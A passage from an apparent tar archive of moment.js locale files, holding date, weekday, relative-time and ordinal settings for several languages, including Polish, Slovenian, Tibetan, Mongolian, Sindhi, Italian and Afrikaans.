/գիշերվա|առավոտվա|ցերեկվա|երեկոյան/, isPM: function (input) { return /^(ցերեկվա|երեկոյան)$/.test(input); }, meridiem : function (hour) { if (hour < 4) { return 'գիշերվա'; } else if (hour < 12) { return 'առավոտվա'; } else if (hour < 17) { return 'ցերեկվա'; } else { return 'երեկոյան'; } }, dayOfMonthOrdinalParse: /\d{1,2}|\d{1,2}-(ին|րդ)/, ordinal: function (number, period) { switch (period) { case 'DDD': case 'w': case 'W': case 'DDDo': if (number === 1) { return number + '-ին'; } return number + '-րդ'; default: return number; } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/pl.js000064400000010040151677412300006755 0ustar00//! moment.js locale configuration //! locale : Polish [pl] //! author : Rafal Hirsz : https://github.com/evoL import moment from '../moment'; var monthsNominative = 'styczeń_luty_marzec_kwiecień_maj_czerwiec_lipiec_sierpień_wrzesień_październik_listopad_grudzień'.split('_'), monthsSubjective = 'stycznia_lutego_marca_kwietnia_maja_czerwca_lipca_sierpnia_września_października_listopada_grudnia'.split('_'); function plural(n) { return (n % 10 < 5) && (n % 10 > 1) && ((~~(n / 10) % 10) !== 1); } function translate(number, withoutSuffix, key) { var result = number + ' '; switch (key) { case 'ss': return result + (plural(number) ? 'sekundy' : 'sekund'); case 'm': return withoutSuffix ? 'minuta' : 'minutę'; case 'mm': return result + (plural(number) ? 'minuty' : 'minut'); case 'h': return withoutSuffix ? 'godzina' : 'godzinę'; case 'hh': return result + (plural(number) ? 'godziny' : 'godzin'); case 'MM': return result + (plural(number) ? 'miesiące' : 'miesięcy'); case 'yy': return result + (plural(number) ? 'lata' : 'lat'); } } export default moment.defineLocale('pl', { months : function (momentToFormat, format) { if (!momentToFormat) { return monthsNominative; } else if (format === '') { // Hack: if format empty we know this is used to generate // RegExp by moment. Give then back both valid forms of months // in RegExp ready format. return '(' + monthsSubjective[momentToFormat.month()] + '|' + monthsNominative[momentToFormat.month()] + ')'; } else if (/D MMMM/.test(format)) { return monthsSubjective[momentToFormat.month()]; } else { return monthsNominative[momentToFormat.month()]; } }, monthsShort : 'sty_lut_mar_kwi_maj_cze_lip_sie_wrz_paź_lis_gru'.split('_'), weekdays : 'niedziela_poniedziałek_wtorek_środa_czwartek_piątek_sobota'.split('_'), weekdaysShort : 'ndz_pon_wt_śr_czw_pt_sob'.split('_'), weekdaysMin : 'Nd_Pn_Wt_Śr_Cz_Pt_So'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay: '[Dziś o] LT', nextDay: '[Jutro o] LT', nextWeek: function () { switch (this.day()) { case 0: return '[W niedzielę o] LT'; case 2: return '[We wtorek o] LT'; case 3: return '[W środę o] LT'; case 6: return '[W sobotę o] LT'; default: return '[W] dddd [o] LT'; } }, lastDay: '[Wczoraj o] LT', lastWeek: function () { switch (this.day()) { case 0: return '[W zeszłą niedzielę o] LT'; case 3: return '[W zeszłą środę o] LT'; case 6: return '[W zeszłą sobotę o] LT'; default: return '[W zeszły] dddd [o] LT'; } }, sameElse: 'L' }, relativeTime : { future : 'za %s', past : '%s temu', s : 'kilka sekund', ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : '1 dzień', dd : '%d dni', M : 'miesiąc', MM : translate, y : 'rok', yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/sl.js000064400000014276151677412300006777 0ustar00//! moment.js locale configuration //! locale : Slovenian [sl] //! author : Robert Sedovšek : https://github.com/sedovsek import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var result = number + ' '; switch (key) { case 's': return withoutSuffix || isFuture ? 'nekaj sekund' : 'nekaj sekundami'; case 'ss': if (number === 1) { result += withoutSuffix ? 'sekundo' : 'sekundi'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'sekundi' : 'sekundah'; } else if (number < 5) { result += withoutSuffix || isFuture ? 'sekunde' : 'sekundah'; } else { result += withoutSuffix || isFuture ? 'sekund' : 'sekund'; } return result; case 'm': return withoutSuffix ? 'ena minuta' : 'eno minuto'; case 'mm': if (number === 1) { result += withoutSuffix ? 'minuta' : 'minuto'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'minuti' : 'minutama'; } else if (number < 5) { result += withoutSuffix || isFuture ? 'minute' : 'minutami'; } else { result += withoutSuffix || isFuture ? 'minut' : 'minutami'; } return result; case 'h': return withoutSuffix ? 'ena ura' : 'eno uro'; case 'hh': if (number === 1) { result += withoutSuffix ? 'ura' : 'uro'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'uri' : 'urama'; } else if (number < 5) { result += withoutSuffix || isFuture ? 'ure' : 'urami'; } else { result += withoutSuffix || isFuture ? 'ur' : 'urami'; } return result; case 'd': return withoutSuffix || isFuture ? 'en dan' : 'enim dnem'; case 'dd': if (number === 1) { result += withoutSuffix || isFuture ? 'dan' : 'dnem'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'dni' : 'dnevoma'; } else { result += withoutSuffix || isFuture ? 'dni' : 'dnevi'; } return result; case 'M': return withoutSuffix || isFuture ? 'en mesec' : 'enim mesecem'; case 'MM': if (number === 1) { result += withoutSuffix || isFuture ? 'mesec' : 'mesecem'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'meseca' : 'mesecema'; } else if (number < 5) { result += withoutSuffix || isFuture ? 'mesece' : 'meseci'; } else { result += withoutSuffix || isFuture ? 'mesecev' : 'meseci'; } return result; case 'y': return withoutSuffix || isFuture ? 'eno leto' : 'enim letom'; case 'yy': if (number === 1) { result += withoutSuffix || isFuture ? 'leto' : 'letom'; } else if (number === 2) { result += withoutSuffix || isFuture ? 'leti' : 'letoma'; } else if (number < 5) { result += withoutSuffix || isFuture ? 'leta' : 'leti'; } else { result += withoutSuffix || isFuture ? 'let' : 'leti'; } return result; } } export default moment.defineLocale('sl', { months : 'januar_februar_marec_april_maj_junij_julij_avgust_september_oktober_november_december'.split('_'), monthsShort : 'jan._feb._mar._apr._maj._jun._jul._avg._sep._okt._nov._dec.'.split('_'), monthsParseExact: true, weekdays : 'nedelja_ponedeljek_torek_sreda_četrtek_petek_sobota'.split('_'), weekdaysShort : 'ned._pon._tor._sre._čet._pet._sob.'.split('_'), weekdaysMin : 'ne_po_to_sr_če_pe_so'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY H:mm', LLLL : 'dddd, D. MMMM YYYY H:mm' }, calendar : { sameDay : '[danes ob] LT', nextDay : '[jutri ob] LT', nextWeek : function () { switch (this.day()) { case 0: return '[v] [nedeljo] [ob] LT'; case 3: return '[v] [sredo] [ob] LT'; case 6: return '[v] [soboto] [ob] LT'; case 1: case 2: case 4: case 5: return '[v] dddd [ob] LT'; } }, lastDay : '[včeraj ob] LT', lastWeek : function () { switch (this.day()) { case 0: return '[prejšnjo] [nedeljo] [ob] LT'; case 3: return '[prejšnjo] [sredo] [ob] LT'; case 6: return '[prejšnjo] [soboto] [ob] LT'; case 1: case 2: case 4: case 5: return '[prejšnji] dddd [ob] LT'; } }, sameElse : 'L' }, relativeTime : { future : 'čez %s', past : 'pred %s', s : processRelativeTime, ss : processRelativeTime, m : processRelativeTime, mm : processRelativeTime, h : processRelativeTime, hh : processRelativeTime, d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/en-ca.js000064400000003411151677412300007331 0ustar00//! moment.js locale configuration //! locale : English (Canada) [en-ca] //! author : Jonathan Abourbih : https://github.com/jonbca import moment from '../moment'; export default moment.defineLocale('en-ca', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'YYYY-MM-DD', LL : 'MMMM D, YYYY', LLL : 'MMMM D, YYYY h:mm A', LLLL : 'dddd, MMMM D, YYYY h:mm A' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; } }); locale/pt-br.js000064400000003501151677412300007372 0ustar00//! moment.js locale configuration //! locale : Portuguese (Brazil) [pt-br] //! author : Caio Ribeiro Pereira : https://github.com/caio-ribeiro-pereira import moment from '../moment'; export default moment.defineLocale('pt-br', { months : 'janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro'.split('_'), monthsShort : 'jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez'.split('_'), weekdays : 'Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado'.split('_'), weekdaysShort : 'Dom_Seg_Ter_Qua_Qui_Sex_Sáb'.split('_'), weekdaysMin : 'Do_2ª_3ª_4ª_5ª_6ª_Sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D [de] MMMM [de] YYYY', LLL : 'D [de] MMMM [de] YYYY [às] HH:mm', LLLL : 'dddd, D [de] MMMM [de] YYYY [às] HH:mm' }, calendar : { sameDay: '[Hoje às] LT', nextDay: '[Amanhã às] LT', nextWeek: 'dddd [às] LT', lastDay: '[Ontem às] LT', lastWeek: function () { return (this.day() === 0 || this.day() === 6) ? '[Último] dddd [às] LT' : // Saturday + Sunday '[Última] dddd [às] LT'; // Monday - Friday }, sameElse: 'L' }, relativeTime : { future : 'em %s', past : 'há %s', s : 'poucos segundos', ss : '%d segundos', m : 'um minuto', mm : '%d minutos', h : 'uma hora', hh : '%d horas', d : 'um dia', dd : '%d dias', M : 'um mês', MM : '%d meses', y : 'um ano', yy : '%d anos' }, dayOfMonthOrdinalParse: /\d{1,2}º/, ordinal : '%dº' }); locale/bo.js000064400000011050151677412300006744 0ustar00//! moment.js locale configuration //! locale : Tibetan [bo] //! author : Thupten N. Chakrishar : https://github.com/vajradog import moment from '../moment'; var symbolMap = { '1': '༡', '2': '༢', '3': '༣', '4': '༤', '5': '༥', '6': '༦', '7': '༧', '8': '༨', '9': '༩', '0': '༠' }, numberMap = { '༡': '1', '༢': '2', '༣': '3', '༤': '4', '༥': '5', '༦': '6', '༧': '7', '༨': '8', '༩': '9', '༠': '0' }; export default moment.defineLocale('bo', { months : 'ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ'.split('_'), monthsShort : 'ཟླ་བ་དང་པོ_ཟླ་བ་གཉིས་པ_ཟླ་བ་གསུམ་པ_ཟླ་བ་བཞི་པ_ཟླ་བ་ལྔ་པ_ཟླ་བ་དྲུག་པ_ཟླ་བ་བདུན་པ_ཟླ་བ་བརྒྱད་པ_ཟླ་བ་དགུ་པ_ཟླ་བ་བཅུ་པ_ཟླ་བ་བཅུ་གཅིག་པ_ཟླ་བ་བཅུ་གཉིས་པ'.split('_'), weekdays : 'གཟའ་ཉི་མ་_གཟའ་ཟླ་བ་_གཟའ་མིག་དམར་_གཟའ་ལྷག་པ་_གཟའ་ཕུར་བུ_གཟའ་པ་སངས་_གཟའ་སྤེན་པ་'.split('_'), weekdaysShort : 'ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་'.split('_'), weekdaysMin : 'ཉི་མ་_ཟླ་བ་_མིག་དམར་_ལྷག་པ་_ཕུར་བུ_པ་སངས་_སྤེན་པ་'.split('_'), longDateFormat : { LT : 'A h:mm', LTS : 'A h:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm', LLLL : 'dddd, D MMMM YYYY, A h:mm' }, calendar : { sameDay : '[དི་རིང] LT', nextDay : '[སང་ཉིན] LT', nextWeek : '[བདུན་ཕྲག་རྗེས་མ], LT', lastDay : '[ཁ་སང] LT', lastWeek : '[བདུན་ཕྲག་མཐའ་མ] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s ལ་', past : '%s སྔན་ལ', s : 'ལམ་སང', ss : '%d སྐར་ཆ།', m : 'སྐར་མ་གཅིག', mm : '%d སྐར་མ', h : 'ཆུ་ཚོད་གཅིག', hh : '%d ཆུ་ཚོད', d : 'ཉིན་གཅིག', dd : '%d ཉིན་', M : 'ཟླ་བ་གཅིག', MM : '%d ཟླ་བ', y : 'ལོ་གཅིག', yy : '%d ལོ' }, preparse: function (string) { return string.replace(/[༡༢༣༤༥༦༧༨༩༠]/g, function (match) { return numberMap[match]; }); }, postformat: function (string) { return string.replace(/\d/g, function (match) { return symbolMap[match]; }); }, meridiemParse: /མཚན་མོ|ཞོགས་ཀས|ཉིན་གུང|དགོང་དག|མཚན་མོ/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if ((meridiem === 'མཚན་མོ' && hour >= 4) || (meridiem === 'ཉིན་གུང' && hour < 5) || meridiem === 'དགོང་དག') { return hour + 12; } else { return hour; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'མཚན་མོ'; } else if (hour < 10) { return 'ཞོགས་ཀས'; } else if (hour < 17) { return 'ཉིན་གུང'; } else if (hour < 20) { return 'དགོང་དག'; } else { return 'མཚན་མོ'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/nn.js000064400000003251151677412300006763 0ustar00//! moment.js locale configuration //! locale : Nynorsk [nn] //! author : https://github.com/mechuwind import moment from '../moment'; export default moment.defineLocale('nn', { months : 'januar_februar_mars_april_mai_juni_juli_august_september_oktober_november_desember'.split('_'), monthsShort : 'jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des'.split('_'), weekdays : 'sundag_måndag_tysdag_onsdag_torsdag_fredag_laurdag'.split('_'), weekdaysShort : 'sun_mån_tys_ons_tor_fre_lau'.split('_'), weekdaysMin : 'su_må_ty_on_to_fr_lø'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY [kl.] H:mm', LLLL : 'dddd D. MMMM YYYY [kl.] HH:mm' }, calendar : { sameDay: '[I dag klokka] LT', nextDay: '[I morgon klokka] LT', nextWeek: 'dddd [klokka] LT', lastDay: '[I går klokka] LT', lastWeek: '[Føregåande] dddd [klokka] LT', sameElse: 'L' }, relativeTime : { future : 'om %s', past : '%s sidan', s : 'nokre sekund', ss : '%d sekund', m : 'eit minutt', mm : '%d minutt', h : 'ein time', hh : '%d timar', d : 'ein dag', dd : '%d dagar', M : 'ein månad', MM : '%d månader', y : 'eit år', yy : '%d år' }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/mn.js000064400000006656151677412300006776 0ustar00//! moment.js locale configuration //! locale : Mongolian [mn] //! author : Javkhlantugs Nyamdorj : https://github.com/javkhaanj7 import moment from '../moment'; function translate(number, withoutSuffix, key, isFuture) { switch (key) { case 's': return withoutSuffix ? 'хэдхэн секунд' : 'хэдхэн секундын'; case 'ss': return number + (withoutSuffix ? ' секунд' : ' секундын'); case 'm': case 'mm': return number + (withoutSuffix ? ' минут' : ' минутын'); case 'h': case 'hh': return number + (withoutSuffix ? ' цаг' : ' цагийн'); case 'd': case 'dd': return number + (withoutSuffix ? ' өдөр' : ' өдрийн'); case 'M': case 'MM': return number + (withoutSuffix ? ' сар' : ' сарын'); case 'y': case 'yy': return number + (withoutSuffix ? ' жил' : ' жилийн'); default: return number; } } export default moment.defineLocale('mn', { months : 'Нэгдүгээр сар_Хоёрдугаар сар_Гуравдугаар сар_Дөрөвдүгээр сар_Тавдугаар сар_Зургадугаар сар_Долдугаар сар_Наймдугаар сар_Есдүгээр сар_Аравдугаар сар_Арван нэгдүгээр сар_Арван хоёрдугаар сар'.split('_'), monthsShort : '1 сар_2 сар_3 сар_4 сар_5 сар_6 сар_7 сар_8 сар_9 сар_10 сар_11 сар_12 сар'.split('_'), monthsParseExact : true, weekdays : 'Ням_Даваа_Мягмар_Лхагва_Пүрэв_Баасан_Бямба'.split('_'), weekdaysShort : 'Ням_Дав_Мяг_Лха_Пүр_Баа_Бям'.split('_'), weekdaysMin : 'Ня_Да_Мя_Лх_Пү_Ба_Бя'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'YYYY оны MMMMын D', LLL : 'YYYY оны MMMMын D HH:mm', LLLL : 'dddd, YYYY оны MMMMын D HH:mm' }, meridiemParse: /ҮӨ|ҮХ/i, isPM : function (input) { return input === 'ҮХ'; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'ҮӨ'; } else { return 'ҮХ'; } }, calendar : { sameDay : '[Өнөөдөр] LT', nextDay : '[Маргааш] LT', nextWeek : '[Ирэх] dddd LT', lastDay : '[Өчигдөр] LT', lastWeek : '[Өнгөрсөн] dddd LT', sameElse : 'L' }, relativeTime : { future : '%s дараа', past : '%s өмнө', s : translate, ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2} өдөр/, ordinal : function (number, period) { switch (period) { case 'd': case 'D': case 'DDD': return number + ' өдөр'; default: return number; } } }); locale/sd.js000064400000004316151677412300006761 0ustar00//! moment.js locale configuration //! locale : Sindhi [sd] //! author : Narain Sagar : https://github.com/narainsagar import moment from '../moment'; var months = [ 'جنوري', 'فيبروري', 'مارچ', 'اپريل', 'مئي', 'جون', 'جولاءِ', 'آگسٽ', 'سيپٽمبر', 'آڪٽوبر', 'نومبر', 'ڊسمبر' ]; var days = [ 'آچر', 'سومر', 'اڱارو', 'اربع', 'خميس', 'جمع', 'ڇنڇر' ]; export default moment.defineLocale('sd', { months : months, monthsShort : months, weekdays : days, weekdaysShort : days, weekdaysMin : days, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd، D MMMM YYYY HH:mm' }, meridiemParse: /صبح|شام/, isPM : function (input) { return 'شام' === input; }, meridiem : function (hour, minute, isLower) { if (hour < 12) { return 'صبح'; } return 'شام'; }, calendar : { sameDay : '[اڄ] LT', nextDay : '[سڀاڻي] LT', nextWeek : 'dddd [اڳين هفتي تي] LT', lastDay : '[ڪالهه] LT', lastWeek : '[گزريل هفتي] dddd [تي] LT', sameElse : 'L' }, relativeTime : { future : '%s پوء', past : '%s اڳ', s : 'چند سيڪنڊ', ss : '%d سيڪنڊ', m : 'هڪ منٽ', mm : '%d منٽ', h : 'هڪ ڪلاڪ', hh : '%d ڪلاڪ', d : 'هڪ ڏينهن', dd : '%d ڏينهن', M : 'هڪ مهينو', MM : '%d مهينا', y : 'هڪ سال', yy : '%d سال' }, preparse: function (string) { return string.replace(/،/g, ','); }, postformat: function (string) { return string.replace(/,/g, '،'); }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/pt.js000064400000003652151677412300007000 0ustar00//! moment.js locale configuration //! locale : Portuguese [pt] //! author : Jefferson : https://github.com/jalex79 import moment from '../moment'; export default moment.defineLocale('pt', { months : 'janeiro_fevereiro_março_abril_maio_junho_julho_agosto_setembro_outubro_novembro_dezembro'.split('_'), monthsShort : 'jan_fev_mar_abr_mai_jun_jul_ago_set_out_nov_dez'.split('_'), weekdays : 'Domingo_Segunda-feira_Terça-feira_Quarta-feira_Quinta-feira_Sexta-feira_Sábado'.split('_'), weekdaysShort : 'Dom_Seg_Ter_Qua_Qui_Sex_Sáb'.split('_'), weekdaysMin : 'Do_2ª_3ª_4ª_5ª_6ª_Sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D [de] MMMM [de] YYYY', LLL : 'D [de] MMMM [de] YYYY HH:mm', LLLL : 'dddd, D [de] MMMM [de] YYYY HH:mm' }, calendar : { sameDay: '[Hoje às] LT', nextDay: '[Amanhã às] LT', nextWeek: 'dddd [às] LT', lastDay: '[Ontem às] LT', lastWeek: function () { return (this.day() === 0 || this.day() === 6) ? '[Último] dddd [às] LT' : // Saturday + Sunday '[Última] dddd [às] LT'; // Monday - Friday }, sameElse: 'L' }, relativeTime : { future : 'em %s', past : 'há %s', s : 'segundos', ss : '%d segundos', m : 'um minuto', mm : '%d minutos', h : 'uma hora', hh : '%d horas', d : 'um dia', dd : '%d dias', M : 'um mês', MM : '%d meses', y : 'um ano', yy : '%d anos' }, dayOfMonthOrdinalParse: /\d{1,2}º/, ordinal : '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/it.js000064400000004004151677412300006761 0ustar00//! moment.js locale configuration //! locale : Italian [it] //! author : Lorenzo : https://github.com/aliem //! author: Mattia Larentis: https://github.com/nostalgiaz import moment from '../moment'; export default moment.defineLocale('it', { months : 'gennaio_febbraio_marzo_aprile_maggio_giugno_luglio_agosto_settembre_ottobre_novembre_dicembre'.split('_'), monthsShort : 'gen_feb_mar_apr_mag_giu_lug_ago_set_ott_nov_dic'.split('_'), weekdays : 'domenica_lunedì_martedì_mercoledì_giovedì_venerdì_sabato'.split('_'), weekdaysShort : 'dom_lun_mar_mer_gio_ven_sab'.split('_'), weekdaysMin : 'do_lu_ma_me_gi_ve_sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[Oggi alle] LT', nextDay: '[Domani alle] LT', nextWeek: 'dddd [alle] LT', lastDay: '[Ieri alle] LT', lastWeek: function () { switch (this.day()) { case 0: return '[la scorsa] dddd [alle] LT'; default: return '[lo scorso] dddd [alle] LT'; } }, sameElse: 'L' }, relativeTime : { future : function (s) { return ((/^[0-9].+$/).test(s) ? 'tra' : 'in') + ' ' + s; }, past : '%s fa', s : 'alcuni secondi', ss : '%d secondi', m : 'un minuto', mm : '%d minuti', h : 'un\'ora', hh : '%d ore', d : 'un giorno', dd : '%d giorni', M : 'un mese', MM : '%d mesi', y : 'un anno', yy : '%d anni' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal: '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/id.js000064400000004646151677412300006755 0ustar00//! moment.js locale configuration //! locale : Indonesian [id] //! author : Mohammad Satrio Utomo : https://github.com/tyok //! reference: http://id.wikisource.org/wiki/Pedoman_Umum_Ejaan_Bahasa_Indonesia_yang_Disempurnakan import moment from '../moment'; export default moment.defineLocale('id', { months : 'Januari_Februari_Maret_April_Mei_Juni_Juli_Agustus_September_Oktober_November_Desember'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_Mei_Jun_Jul_Agt_Sep_Okt_Nov_Des'.split('_'), weekdays : 'Minggu_Senin_Selasa_Rabu_Kamis_Jumat_Sabtu'.split('_'), weekdaysShort : 'Min_Sen_Sel_Rab_Kam_Jum_Sab'.split('_'), weekdaysMin : 'Mg_Sn_Sl_Rb_Km_Jm_Sb'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY [pukul] HH.mm', LLLL : 'dddd, D MMMM YYYY [pukul] HH.mm' }, meridiemParse: /pagi|siang|sore|malam/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'pagi') { return hour; } else if (meridiem === 'siang') { return hour >= 11 ? hour : hour + 12; } else if (meridiem === 'sore' || meridiem === 'malam') { return hour + 12; } }, meridiem : function (hours, minutes, isLower) { if (hours < 11) { return 'pagi'; } else if (hours < 15) { return 'siang'; } else if (hours < 19) { return 'sore'; } else { return 'malam'; } }, calendar : { sameDay : '[Hari ini pukul] LT', nextDay : '[Besok pukul] LT', nextWeek : 'dddd [pukul] LT', lastDay : '[Kemarin pukul] LT', lastWeek : 'dddd [lalu pukul] LT', sameElse : 'L' }, relativeTime : { future : 'dalam %s', past : '%s yang lalu', s : 'beberapa detik', ss : '%d detik', m : 'semenit', mm : '%d menit', h : 'sejam', hh : '%d jam', d : 'sehari', dd : '%d hari', M : 'sebulan', MM : '%d bulan', y : 'setahun', yy : '%d tahun' }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/af.js000064400000004221151677412300006734 0ustar00//! moment.js locale configuration //! locale : Afrikaans [af] //! author : Werner Mollentze : https://github.com/wernerm import moment from '../moment'; export default moment.defineLocale('af', { months : 'Januarie_Februarie_Maart_April_Mei_Junie_Julie_Augustus_September_Oktober_November_Desember'.split('_'), monthsShort : 'Jan_Feb_Mrt_Apr_Mei_Jun_Jul_Aug_Sep_Okt_Nov_Des'.split('_'), weekdays : 'Sondag_Maandag_Dinsdag_Woensdag_Donderdag_Vrydag_Saterdag'.split('_'), weekdaysShort : 'Son_Maa_Din_Woe_Don_Vry_Sat'.split('_'), weekdaysMin : 'So_Ma_Di_Wo_Do_Vr_Sa'.split('_'), meridiemParse: /vm|nm/i, isPM : function (input) { return /^nm$/i.test(input); }, meridiem : function (hours, minutes, isLower) { if (hours < 12) { return isLower ? 'vm' : 'VM'; } else { return isLower ? 'nm' : 'NM'; } }, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Vandag om] LT', nextDay : '[Môre om] LT', nextWeek : 'dddd [om] LT', lastDay : '[Gister om] LT', lastWeek : '[Laas] dddd [om] LT', sameElse : 'L' }, relativeTime : { future : 'oor %s', past : '%s gelede', s : '\'n paar sekondes', ss : '%d sekondes', m : '\'n minuut', mm : '%d minute', h : '\'n uur', hh : '%d ure', d : '\'n dag', dd : '%d dae', M : '\'n maand', MM : '%d maande', y : '\'n jaar', yy : '%d jaar' }, dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, ordinal : function (number) { return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de'); // Thanks to Joris Röling : https://github.com/jjupiter }, week : { dow : 1, // Maandag is die eerste dag van die week. doy : 4 // Die week wat die 4de Januarie bevat is die eerste week van die jaar. } }); locale/de-ch.js000064400000004734151677412300007337 0ustar00//! moment.js locale configuration //! locale : German (Switzerland) [de-ch] //! author : sschueller : https://github.com/sschueller // based on: https://www.bk.admin.ch/dokumentation/sprachen/04915/05016/index.html?lang=de# import moment from '../moment'; function processRelativeTime(number, withoutSuffix, key, isFuture) { var format = { 'm': ['eine Minute', 'einer Minute'], 'h': ['eine Stunde', 'einer Stunde'], 'd': ['ein Tag', 'einem Tag'], 'dd': [number + ' Tage', number + ' Tagen'], 'M': ['ein Monat', 'einem Monat'], 'MM': [number + ' Monate', number + ' Monaten'], 'y': ['ein Jahr', 'einem Jahr'], 'yy': [number + ' Jahre', number + ' Jahren'] }; return withoutSuffix ? format[key][0] : format[key][1]; } export default moment.defineLocale('de-ch', { months : 'Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember'.split('_'), monthsShort : 'Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.'.split('_'), monthsParseExact : true, weekdays : 'Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag'.split('_'), weekdaysShort : 'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'), weekdaysMin : 